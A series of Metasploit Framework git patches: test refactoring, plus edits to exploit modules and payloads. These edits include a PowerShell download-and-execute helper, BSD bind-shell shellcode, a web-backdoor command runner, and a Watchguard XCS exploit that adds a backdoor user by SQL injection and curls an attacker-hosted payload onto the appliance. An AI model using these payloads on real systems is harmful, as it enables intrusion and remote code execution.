FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace) + end + + let(:run) do + FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id) + end + let(:user_data) do { - run_id: FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace).id, + run_id: run.id } end From 52e34051921733144aca1b68a7c8cf65e713ea27 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Wed, 23 Sep 2015 11:12:02 -0500 Subject: [PATCH 0691/2172] Passing report_exploit_success specs MSP-13119 --- lib/msf/core/db_manager/exploit_attempt.rb | 15 - .../msf/db_manager/exploit_attempt.rb | 450 +++++++++--------- 2 files changed, 219 insertions(+), 246 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 04d5728fa4..e121eee936 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -104,9 +104,6 @@ module Msf::DBManager::ExploitAttempt # @option opts [String] :module (nil) # @return [void] def do_report_failure_or_success(opts) - #require 'pry' - #binding.pry - return unless opts[:refs] ::ActiveRecord::Base.connection_pool.with_connection { mrefs = opts[:refs] @@ -156,9 +153,6 @@ module Msf::DBManager::ExploitAttempt attempt_info[:vuln_id] = vuln.id vuln.vuln_attempts.create(attempt_info) - # require 'pry' - # binding.pry - create_match_result_for_vuln(vuln,opts) # Correct the vuln's associated service if necessary @@ -191,9 +185,6 @@ module Msf::DBManager::ExploitAttempt def create_match_result_for_vuln(vuln, opts) run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last - # require 'pry' - # binding.pry - if run.present? match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last @@ -218,9 +209,6 @@ module Msf::DBManager::ExploitAttempt state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED end - # require 'pry' - # binding.pry - MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: opts[:match], run: opts[:run], @@ -238,9 +226,6 @@ module Msf::DBManager::ExploitAttempt run = opts[:run] module_fullname = opts[:module] - # require 'pry' - # binding.pry - run.match_set.create_match_for_vuln( vuln, workspace: wspace, diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index feb3fd5764..9c17c08cb9 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -43,7 +43,6 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end context "with a run" do - let(:opts) do { workspace: workspace, @@ -137,7 +136,6 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end context "without a run" do - let(:vuln) do FactoryGirl.create(:mdm_vuln) end @@ -222,233 +220,223 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end - # describe '#report_exploit_success' do - # context "with a match" do - # subject(:report_exploit_success) do - # db_manager.report_exploit_success(opts) - # end - # - # let(:opts) do - # { - # workspace: workspace, - # refs: refs, - # host: host, - # vuln: vuln_with_match, - # session_id: session_id - # } - # end - # - # let(:session_id) do - # FactoryGirl.create(:session, host: host).id - # end - # - # let(:match_set) do - # FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) - # end - # - # - # let(:match) do - # FactoryGirl.create(:automatic_exploitation_match, match_set_id: match_set.id) - # end - # - # let(:vuln_with_match) do - # match.matchable - # end - # - # let(:host) do - # FactoryGirl.create(:mdm_host, workspace:workspace,vulns:[vuln_with_match]) - # end - # - # let(:workspace) do - # FactoryGirl.create(:mdm_workspace) - # end - # - # let(:refs) do - # [ FactoryGirl.create(:mdm_ref) ] - # end - # - # context 'with a vuln' do - # specify do - # expect { - # report_exploit_success - # }.to change(Mdm::VulnAttempt,:count).by(1) - # end - # - # it "should create a match result" do - # expect { - # report_exploit_success - # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) - # end - # - # it "should create a match result with state SUCCEEDED" do - # report_exploit_success - # expect( - # MetasploitDataModels::AutomaticExploitation::MatchResult.where( - # match_id: match.id, - # state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED - # ) - # ).to exist - # end - # - # context "calling report_exploit_success" do - # after(:each) do - # report_exploit_success - # end - # - # it "should call create_match_result_for_vuln" do - # db_manager.should_receive(:create_match_result_for_vuln) - # end - # - # it "should call create_match_result" do - # db_manager.should_receive(:create_match_result) - # end - # - # it "should call create_run_for_vuln" do - # db_manager.should_receive(:create_run_for_vuln) - # end - # end - # - # end - # - # context 'without a vuln' do - # let(:vuln_with_match) { nil } - # - # let(:host) do - # FactoryGirl.create(:mdm_host, workspace:workspace) - # end - # - # specify do - # expect { - # report_exploit_success - # }.not_to change(Mdm::VulnAttempt, :count) - # end - # - # it "should not create a match result" do - # expect { - # report_exploit_success - # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) - # end - # - # context "calling report_exploit_success" do - # after(:each) do - # report_exploit_success - # end - # - # it "should not call create_match_result_for_vuln" do - # db_manager.should_not_receive(:create_match_result_for_vuln) - # end - # - # it "should not call create_match_result" do - # db_manager.should_not_receive(:create_match_result) - # end - # - # it "should not call create_run_for_vuln" do - # db_manager.should_not_receive(:create_run_for_vuln) - # end - # end - # - # end - # end - # - # - # context "without a match" do - # subject(:report_exploit_success) do - # db_manager.report_exploit_success(opts) - # end - # - # let(:workspace) do - # FactoryGirl.create(:mdm_workspace) - # end - # - # let(:host) do - # FactoryGirl.create(:mdm_host, workspace: workspace) - # end - # - # let(:refs) do - # [ FactoryGirl.create(:mdm_ref) ] - # end - # - # let(:vuln) do - # FactoryGirl.create(:mdm_vuln) - # end - # - # let(:opts) do - # { - # workspace: workspace, - # refs: refs, - # host: host, - # vuln: vuln, - # } - # end - # - # context 'with a vuln' do - # specify do - # expect { - # report_exploit_success - # }.to change(Mdm::VulnAttempt,:count).by(1) - # end - # - # it "should not create a match result" do - # expect { - # report_exploit_success - # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) - # end - # - # context "calling report_exploit_success" do - # after(:each) do - # report_exploit_success - # end - # - # it "should call create_match_result_for_vuln" do - # db_manager.should_receive(:create_match_result_for_vuln) - # end - # - # it "should not call create_match_result" do - # db_manager.should_not_receive(:create_match_result) - # end - # - # it "should call create_run_for_vuln" do - # db_manager.should_receive(:create_run_for_vuln) - # end - # end - # - # end - # - # context 'without a vuln' do - # let(:vuln) { nil } - # - # specify do - # expect { - # report_exploit_success - # }.not_to change(Mdm::VulnAttempt, :count) - # end - # - # it "should not create a match result" do - # expect { - # report_exploit_success - # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) - # end - # - # context "calling report_exploit_success" do - # after(:each) do - # report_exploit_success - # end - # - # it "should not call create_match_result_for_vuln" do - # db_manager.should_not_receive(:create_match_result_for_vuln) - # end - # - # it "should not call create_match_result" do - # db_manager.should_not_receive(:create_match_result) - # end - # - # it "should not call create_run_for_vuln" do - # db_manager.should_not_receive(:create_run_for_vuln) - # end - # end - # - # end - # end - # - # end + describe '#report_exploit_success' do + subject(:report_exploit_success) do + db_manager.report_exploit_success(opts) + end + + let(:session_id) do + FactoryGirl.create(:session, host: host).id + end + + let(:run) do + match + FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) + end + + let(:match_set) do + FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) + end + + let(:match) do + FactoryGirl.create(:automatic_exploitation_match, + match_set_id: match_set.id, + matchable_id:vuln_with_match.id, + matchable_type: "Mdm::Vuln" + ) + end + + let(:vuln_with_match) do + FactoryGirl.create(:mdm_vuln) + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace:workspace) + end + + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + context "with a run" do + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln_with_match, + run_id: run.id, + session_id: session_id + } + end + + context 'with a vuln' do + specify do + expect { + report_exploit_success + }.to change(Mdm::VulnAttempt,:count).by(1) + end + + it "should create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) + end + + it "should create a match result with state SUCCEEDED" do + report_exploit_success + expect( + MetasploitDataModels::AutomaticExploitation::MatchResult.where( + match_id: match.id, + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED + ) + ).to exist + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should call create_match_result_for_vuln" do + db_manager.should_receive(:create_match_result_for_vuln) + end + + it "should call create_match_result" do + db_manager.should_receive(:create_match_result) + end + + it "should not call create_match_for_vuln" do + db_manager.should_not_receive(:create_match_for_vuln) + end + end + + end + + context 'without a run' do + let(:vuln_with_match) { nil } + + let(:match) {nil} + + specify do + expect { + report_exploit_success + }.not_to change(Mdm::VulnAttempt, :count) + end + + it "should not create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should not call create_match_result_for_vuln" do + db_manager.should_not_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_match_for_vuln" do + db_manager.should_not_receive(:create_match_for_vuln) + end + end + + end + end + + context "without a run" do + let(:vuln) do + FactoryGirl.create(:mdm_vuln) + end + + let(:opts) do + { + workspace: workspace, + refs: refs, + host: host, + vuln: vuln, + } + end + + context 'with a vuln' do + specify do + expect { + report_exploit_success + }.to change(Mdm::VulnAttempt,:count).by(1) + end + + it "should not create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should call create_match_result_for_vuln" do + db_manager.should_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_match_for_vuln" do + db_manager.should_not_receive(:create_match_for_vuln) + end + end + + end + + context 'without a vuln' do + let(:vuln) { nil } + + specify do + expect { + report_exploit_success + }.not_to change(Mdm::VulnAttempt, :count) + end + + it "should not create a match result" do + expect { + report_exploit_success + }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + end + + context "calling report_exploit_success" do + after(:each) do + report_exploit_success + end + + it "should not call create_match_result_for_vuln" do + db_manager.should_not_receive(:create_match_result_for_vuln) + end + + it "should not call create_match_result" do + db_manager.should_not_receive(:create_match_result) + end + + it "should not call create_match_for_vuln" do + db_manager.should_not_receive(:create_match_for_vuln) + end + end + + end + end + + end end From 66c9222968c7d4bbe6d268ea7a1966bb909489a0 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Wed, 23 Sep 2015 20:45:51 +0100 Subject: [PATCH 0692/2172] Make web_delivery proxy aware --- lib/rex/powershell/psh_methods.rb | 16 ++++++++++++++++ modules/exploits/multi/script/web_delivery.rb | 3 ++- spec/lib/rex/powershell/psh_methods_spec.rb | 9 +++++++++ 3 files changed, 27 insertions(+), 1 deletion(-) diff --git a/lib/rex/powershell/psh_methods.rb b/lib/rex/powershell/psh_methods.rb index f564dd36ed..904e770474 100644 --- a/lib/rex/powershell/psh_methods.rb +++ b/lib/rex/powershell/psh_methods.rb @@ -72,6 +72,22 @@ module Powershell def self.ignore_ssl_certificate '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' end + + # + # Use the default system web proxy and credentials to download a URL + # as a string and execute the contents as PowerShell + # + # @param url [String] string to download + # + # @return [String] PowerShell code to download a URL + def self.proxy_aware_download_and_exec_string(url) + var = Rex::Text.rand_text_alpha(1) + cmd = "$#{var}=new-object net.webclient;" + cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();" + cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;" + cmd << "IEX $#{var}.downloadstring('#{url}');" + cmd + end end end end diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 3af27cedd8..ffeb54e5a4 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -89,7 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") when 'PSH' ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl - download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))" + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) + download_and_run = "#{ignore_cert}#{download_string}" print_line generate_psh_command_line( noprofile: true, windowstyle: 'hidden', diff --git a/spec/lib/rex/powershell/psh_methods_spec.rb b/spec/lib/rex/powershell/psh_methods_spec.rb index 42eb47178d..04f4d433fb 100644 --- a/spec/lib/rex/powershell/psh_methods_spec.rb +++ b/spec/lib/rex/powershell/psh_methods_spec.rb @@ -40,5 +40,14 @@ describe Rex::Powershell::PshMethods do script.include?('Get-QADComputer').should be_truthy end end + describe "::proxy_aware_download_and_exec_string" do + it 'should return some powershell' do + url = 'http://blah' + script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) + script.should be + script.include?(url).should be_truthy + script.downcase.include?('downloadstring').should be_truthy + end + end end From 4cbe35e1b2292d24835a6d6cfe20acc025277729 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 23 Sep 2015 22:08:32 -0500 Subject: [PATCH 0693/2172] specifically use shell or powershell --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 1eae4abfdd..01713edc60 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1917,7 +1917,7 @@ class Core session.response_timeout = response_timeout end begin - if session.type.include? 'shell' + if ['shell', 'powershell'].include?(session.type) session.init_ui(driver.input, driver.output) session.execute_script('post/multi/manage/shell_to_meterpreter') session.reset_ui From 192369607dc94938accc79e47af96a9c53232a3e Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 24 Sep 2015 13:49:33 +0800 Subject: [PATCH 0694/2172] Update simple_backdoors_exec.rb updated the string 'echo me' to a random text --- modules/exploits/multi/http/simple_backdoors_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 8a04f9631f..c3f20b0b72 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - test = 'echo me' + test = Rex::Text.rand_text_alpha(8) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cmd' => test } }) - if res && res.body =~ /echo me/ + if res && res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe From 56a551313c2515255aa0fda92c101fb6713c3841 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 24 Sep 2015 13:54:40 +0800 Subject: [PATCH 0695/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index c3f20b0b72..1fefd0a9bc 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Simple Backdoor Shell Remote Code Execution', 'Description' => %q{ - This module exploits unauthenticated simple web backdoor shells by leveraging the + This module exploits unauthenticated simple web backdoor shells by leveraging the common backdoor shell's CMD parameter to execute commands. The SecLists project of Daniel Miessler and Jason Haddix has a lot of samples for this kind of backdoor shells which is categorized under Payloads. From e185277ac5ff636fc960024541001eda6078df24 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 24 Sep 2015 14:14:23 +0800 Subject: [PATCH 0696/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 1fefd0a9bc..210aa1d65a 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -81,7 +81,9 @@ class Metasploit3 < Msf::Exploit::Remote } }) if !res && res.code == 200 - fail_with(Failure::Unknown, 'Failed to execute the command.') + fail_with(Failure::Unknown, "Failed to execute the command.") + else + fail_with(Failure::Unknown, "#{res.code} #{res.message}") end end From a86340973496d9ffdbb92c7ea686052362cce413 Mon Sep 17 00:00:00 2001 From: Balazs Bucsay <github@rycon.hu> Date: Thu, 24 Sep 2015 13:07:02 +0200 Subject: [PATCH 0697/2172] x86-64 pushq signedness error fixed. Signed port numbers (2bytes) were not working properly. Fix means +6bytes in shellcode length --- modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb | 8 +++++--- modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb | 8 +++++--- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index b5ab5d45cc..6fe6deffef 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 89 + CachedSize = 95 include Msf::Payload::Single include Msf::Payload::Bsd @@ -31,7 +31,7 @@ module Metasploit3 { 'Offsets' => { - 'LPORT' => [ 20, 'n' ], + 'LPORT' => [ 21, 'n' ], }, 'Payload' => "\x6a\x61" +# pushq $0x61 # @@ -46,7 +46,9 @@ module Metasploit3 "\x52" +# push %rdx # "\x52" +# push %rdx # "\x52" +# push %rdx # - "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # + "\x48\xba\x00\x1c\x11" +# mov 0x000000005c110200, # + "\x5c\x00\x00\x00\x00" +# %rdx # + "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x1c" +# pushq $0x1c # "\x5a" +# pop %rdx # diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index c80ec4dfe5..c956ff5199 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 87 + CachedSize = 93 include Msf::Payload::Single include Msf::Payload::Bsd @@ -31,7 +31,7 @@ module Metasploit3 { 'Offsets' => { - 'LPORT' => [ 18, 'n' ], + 'LPORT' => [ 19, 'n' ], }, 'Payload' => "\x6a\x61" +# pushq $0x61 # @@ -44,7 +44,9 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 # + "\x48\xba\x00\x02\x11" +# mov 0x000000005c110200, # + "\x5c\x00\x00\x00\x00" +# %rdx # + "\x52" +# push %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # "\x5a" +# pop %rdx # From 52c4be7e8ea9d07f6b5fb9290e9147c81e74ed35 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 09:35:30 -0500 Subject: [PATCH 0698/2172] Fix description --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 7c94df4bfe..d6753a3c11 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -18,11 +18,11 @@ class Metasploit4 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Watchguard XCS Remote Command Execution', 'Description' => %q{ - This module exploits two seperate vulnerabilities found in the Watchguard XCS virtual appliance - to gain command execution. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert - a valid web user into the appliance database, and login to the web interface as this user. A - vulnerability in the web interface allows the attacker to inject operating system commands as the - 'nobody' user. The watchguard_local_root module can then be used for local privesc to root. + This module exploits two separate vulnerabilities found in the Watchguard XCS virtual + appliance to gain command execution. By exploiting an unauthenticated SQL injection, a + remote attacker may insert a valid web user into the appliance database, and get access + to the web interface. On the other hand, a vulnerability in the web interface allows the + attacker to inject operating system commands as the 'nobody' user. }, 'Author' => [ From b35da0d91d9ae5b436f33c1e0840bec0a9708cde Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 09:36:47 -0500 Subject: [PATCH 0699/2172] Avoid USERNAME and PASSWORD datastore options collisions --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index d6753a3c11..38b34f2fa7 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -52,8 +52,8 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The target URI', '/']), - OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']), - OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), + OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']), + OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), Opt::RPORT(443) ], @@ -210,8 +210,8 @@ class Metasploit4 < Msf::Exploit::Remote def get_session #Gets a valid login session, either valid creds or the SQLi vulnerability - username = datastore['USERNAME'] - pwd_clear = datastore['PASSWORD'] + username = datastore['WATCHGUARD_USER'] + pwd_clear = datastore['WATCHGUARD_PASSWORD'] user_id = rand(999) sid_cookie = attempt_login(username, pwd_clear) From 19b577b30a3f3a8776655009346c8cc6c6df47c6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 09:51:00 -0500 Subject: [PATCH 0700/2172] Do some code style fixes to watchguard_cmd_exec --- .../freebsd/http/watchguard_cmd_exec.rb | 100 +++++++++--------- 1 file changed, 50 insertions(+), 50 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 38b34f2fa7..08b18c55de 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -67,10 +67,12 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), 'cookie' => "sid=1'" }) + if res and res.body =~ /unterminated quoted string/ return Exploit::CheckCode::Vulnerable end - return Exploit::CheckCode::Safe + + Exploit::CheckCode::Safe end @@ -79,64 +81,56 @@ class Metasploit4 < Msf::Exploit::Remote @sid = get_session #Check if cmd injection works - test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id") - unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/ - fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable") + test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id') + unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534') + fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable') end #We have cmd exec, stand up an HTTP server and deliver the payload - vprint_status("Getting ready to drop binary on appliance") + vprint_status('Getting ready to drop binary on appliance') #Generate payload @pl = generate_payload_exe @elf_sent = false - waited = 0 - while (not @pl) - print_status("Waiting for payload to finish generating...") - select(nil,nil,nil,1) - waited += 1 - if (waited > 20) - fail_with(Failure::Unknown, "Unable to generate payload within a reasonable time.") - end - end #Start the server and use primer to trigger fetching and running of the payload begin - Timeout.timeout(datastore['HTTPDELAY']) {super} + Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end end - def attempt_login(username,pwd_clear) + def attempt_login(username, pwd_clear) #Attempts to login with the provided user credentials #Get the login page get_login_hash = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login.spl') + 'uri' => normalize_uri(target_uri.path, '/login.spl') }) unless get_login_hash and get_login_hash.body - fail_with(Failure::Unreachable, "Could not get login page.") + fail_with(Failure::Unreachable, 'Could not get login page.') end #Find the hash token needed to login login_hash = '' get_login_hash.body.each_line do |line| - next if line !~ /name="hash" value="(.*)"/ + next if line !~ /name="hash" value="(.*)"/ login_hash = $1 + break end sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' if login_hash == '' || sid_cookie == '' - fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") + fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie') end login_post = { 'u' => "#{username}", 'pwd' => "#{pwd_clear}", 'hash' => login_hash, - 'login' => "Login" + 'login' => 'Login' } - print_status("Attempting to login with provided credentials") + print_status('Attempting to login with provided credentials') login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/login.spl'), 'method' => 'POST', @@ -150,11 +144,12 @@ class Metasploit4 < Msf::Exploit::Remote unless login and login.body =~ /<title>Loading...<\/title>/ - return false + return nil end - print_status("Successfully logged in") - return sid_cookie + print_status('Successfully logged in') + + sid_cookie end def add_user(user_id, username, pwd_hash, pwd_clear) @@ -173,23 +168,26 @@ class Metasploit4 < Msf::Exploit::Remote else fail_with(Failure::UnexpectedReply, "Unable to add user to database") end - return true + + true end def generate_device_hash(cleartext_password) #Generates the specific hashes needed for the XCS - pre_salt = "BorderWare " - post_salt = " some other random (9) stuff" + pre_salt = 'BorderWare ' + post_salt = ' some other random (9) stuff' hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt) final_hash = Rex::Text.md5(cleartext_password + hash_tmp) - return final_hash + + final_hash end - def send_cmd_exec(uri,os_cmd,blocking=false) + def send_cmd_exec(uri, os_cmd, blocking = false) #This is a handler function that makes HTTP calls to exploit the command injection issue unless @sid - fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.") + fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.') end + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{uri}"), 'cookie' => "sid=#{@sid}", @@ -201,11 +199,11 @@ class Metasploit4 < Msf::Exploit::Remote }) #Handle cmd exec failures - if (!res and blocking == false) - fail_with(Failure::Unknown, "Failed to exploit command injection.") + if res.nil? && blocking == false + fail_with(Failure::Unknown, 'Failed to exploit command injection.') end - return res + res end def get_session @@ -216,24 +214,26 @@ class Metasploit4 < Msf::Exploit::Remote sid_cookie = attempt_login(username, pwd_clear) unless sid_cookie - vprint_status("Failed to login, attempting to add backdoor user...") + vprint_status('Failed to login, attempting to add backdoor user...') pwd_hash = generate_device_hash(pwd_clear) + unless add_user(user_id, username, pwd_hash, pwd_clear) - fail_with(Failure::Unknown, "Failed to add user account to database.") + fail_with(Failure::Unknown, 'Failed to add user account to database.') end sid_cookie = attempt_login(username, pwd_clear) - unless (sid_cookie) - fail_with(Failure::Unknown, "Unable to login with user account.") - end + unless sid_cookie + fail_with(Failure::Unknown, 'Unable to login with user account.') + end end - return sid_cookie + + sid_cookie end - #Make the server download the payload and run it + # Make the server download the payload and run it def primer - vprint_status("Primer hook called, make the server get and run exploit") + vprint_status('Primer hook called, make the server get and run exploit') #Gets the autogenerated uri from the mixin payload_uri = get_uri @@ -243,26 +243,26 @@ class Metasploit4 < Msf::Exploit::Remote dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" vprint_status("Telling appliance to run #{dnld_cmd1}") - send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1) + send_cmd_exec('/ADMIN/mailqueue.spl', dnld_cmd1) register_file_for_cleanup("/tmp/#{filename}") chmod_cmd = "chmod +x /tmp/#{filename}" - vprint_status("Chmoding the payload...") - send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd) + vprint_status('Chmoding the payload...') + send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd) 